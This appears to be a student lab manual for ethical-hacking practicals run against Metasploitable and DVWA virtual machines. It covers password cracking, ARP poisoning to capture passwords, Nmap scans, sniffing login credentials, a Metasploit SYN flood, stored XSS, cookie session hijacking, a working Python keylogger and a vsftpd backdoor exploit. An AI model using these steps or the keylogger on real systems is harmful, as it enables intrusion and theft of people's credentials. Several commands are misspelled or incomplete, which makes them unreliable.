PRACTICAL NO.1

AIM : Use Google and Whois for Reconnaisasance.

Using who.is

Step1: Open the WHO.is website

Step 2: Enter the website name and hit the “Enter button”.

Step 3: Show you information about [www.prestashop.com](http://www.prestashop.com/)

PRACTICAL NO. 2

2.1) Use CryptTool to encrypt and decrypt passwords using RC4 algorithm.

Step 1:

Step 2 : Using RC4.

Encryption using RC4

Decryption

2.2) Use Cain and Abel for cracking Windows account password using Dictionary attack and to decode wireless network passwords

Click on HASH Calcuator

Enter the password to convert into hash

Paste the value into the field you have converted

e.g(MD5)

Right Click on the hash and select the dictionary attack

Then right click on the file and select (Add to List) and then select the Wordlist

Select all the options and start the dictionary attack

PRACTICAL NO. 3

3.1) Using TraceRoute, ping, ifconfig, netstat Command

Step 1: Type tracert command and type [www.prestashop.com](http://www.prestashop.com/) HYPERLINK "<http://www.prestashop.com/>"press “Enter”.

Step 2: Ping all the IP addresses

Ifconfig

Netstat

3.2) Perform ARP Poisoning in Windows

Step 2 : Select sniffer on the top.

Step 3 : Next to folder icon click on icon name start/stop sniffer. Select device and click on ok.

Step 4 : Click on “+” icon on the top. Click on ok.

Step 5 : Shows the Connected host.

Step 6 : Select Arp at bottom.

Step 7 : Click on “+” icon at the top.

Step 8 : Click on start/stop ARP icon on top.

Step 9 : Poisoning the source.

Step 10 : Go to any website on source ip address.

Step 11 : Go to password option in the cain & abel and see the visited site password.

PRACTICAL NO. 4

AIM : Using Nmap scanner to perform port scanning of various forms – ACK, SYN, FIN, NULL, XMAS.

NOTE: Install Nmap for windows and install it. After that open cmd and type “nmap” to check if it is installed properly. Now type the below commands.

⦁ ACK -sA (TCP ACK scan)

It never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

Command: nmap -sA -T4 scanme.nmap.org

⦁ SYN (Stealth) Scan (-sS)

SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by intrusive firewalls.

Command: nmap -p22,113,139 scanme.nmap.org

⦁ FIN Scan (-sF)

Sets just the TCP FIN bit.

Command: nmap -sF -T4 para

⦁ NULL Scan (-sN)

Does not set any bits (TCP flag header is 0)

Command: nmap –sN –p 22 scanme.nmap.org

⦁ XMAS Scan (-sX)

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

Command: nmap -sX -T4 scanme.nmap.org

PRACTCAL NO. 5

5.1) Use WireShark sniffer to capture network traffic and analyze.

Step 1: Install and open WireShark .

Step 2: Go to Capture tab and select Interface option.

Step 3: In Capture interface, Select Local Area Connection and click on start.

Step 4: The source, Destination and protocols of the packets in the LAN network are displayed.

Step 5: Open a website in a new window and enter the user id and password. Register if needed.

Step 6: Enter the credentials and then sign in.

Step 7: The wireshark tool will keep recording the packets.

Step 8: Select filter as http to make the search easier and click on apply.

Step 9: Now stop the tool to stop recording.

Step 10: Find the post methods for username and passwords.

Step 11: U will see the email- id and password that you used to log in.

DOS

Using NEMESIS

STEPS

⦁ Start virtual machine of kali linux and metasploit

⦁ Uname and pass for metasploit is "msdadmin"

⦁ Open command prompt in your windows machine and check the IP address by typing "ipconfig"

⦁ Now open kali linux and start terminal and ping your windows machine by typing command "ping IP ADDRESS"

⦁ Start metasploit by typing "msfcondole -q"

Now perform the following steps:

⦁ search SYNFLOOD

⦁ use auxiliary/doc/tcp/synflood

⦁ show options

⦁ set RHOST 192.168.2.192

⦁ set RPORT 135

⦁ exploit

Next step open wireshark and see the flooding packets

PRACTICAL NO. 6

AIM: Simulate persistant Cross Site

STEPS:

1)Start Kali Linux in virtual box

2)Start mera spolid in virtual box

3)User and password for meta sploit is

msfadmin

4)Identify the ip address of metasploit virtual machine by typing ifconfig

5) now enter IP address of meta spolid machine in address bar of firefox web browser of Kali machine

6) now you will get options so click on dvwa

7) user name for dvwa is admin and password is password

8) once you login in dvwa click on security change security level high to low

9) Now click access stored tag and perform the operation

Scripting attack.

PRACTICAL NO. 7

AIM: Session impersonation using Firefox and Tamper Data add-on

A] Session Impersonation

STEPS

⦁ Open FireFox

⦁ Go to Tools > Addons > Extension

⦁ Search and install EditThisCookie or Cookie Import/Export or any other Cookie tool

⦁ Then Click on Cookie extension to get cookie

⦁ Open a Website and Login and then click on export cookie

Logout from the webpage once the cookie got exported

Paste the cookie in the tool which you have exported and click on green tick

And you are in

Tamper DATA add-on

⦁ Open FireFox

⦁ Go to Tools > Addons > Extension

⦁ Search and install Temper Data

Select a website for tempering data e.g(razorba)

Select any item to but

Then Click to add cart

Then Click on tool for tempering Data

Then Start tempering the data

Here you go

PRACTICAL NO. 9

Aim: - Create a simple keylogger using python

Code: -

from pynput.keyboard import Key, Listener

import logging

# if no name it gets into an empty string

log\_dir = ""

# This is a basic logging function

logging.basicConfig(filename=(log\_dir+"key\_log.txt"), level=logging.DEBUG, format='%(asctime)s:%(message)s:')

# This is from the library

def on\_press(key):

logging.info(str(key))

# This says, listener is on

with Listener(on\_press=on\_press) as listener:

listener.join()

Output: -

PRACTICAL NO. 10

AIM: Using Metasploit to exploit

Steps:

Download and open metasploit

Use exploit to attack the host

Create the exploit and add the exploit to the victim’s PC

⦁ Start virtual machine of kali linux and metasploit

⦁ Uname and pass for metasploit is "msdadmin"

⦁ Open command prompt in your windows machine and check the IP address by typing "ipconfig"

⦁ Now open kali linux and start terminal and ping your windows machine by typing command "ping IP ADDRESS"

⦁ Start metasploit by typing "msfcondole -q"

Now perform the following steps

⦁ nmap 192.168.2.160

⦁ nmap -SV 192.168.2.160

⦁ search vsftpd

⦁ use exploit/unix/ftp/vsftpd\_234\_backdoor

⦁ show options

⦁ set RHOST 192.168.2.160

⦁ set payload cmd/interact exploit

⦁ exploit

PRACTICAL -8

⦁ FINDING DATABASE

⦁ LIST TABLES

⦁ FINDING COLUMNS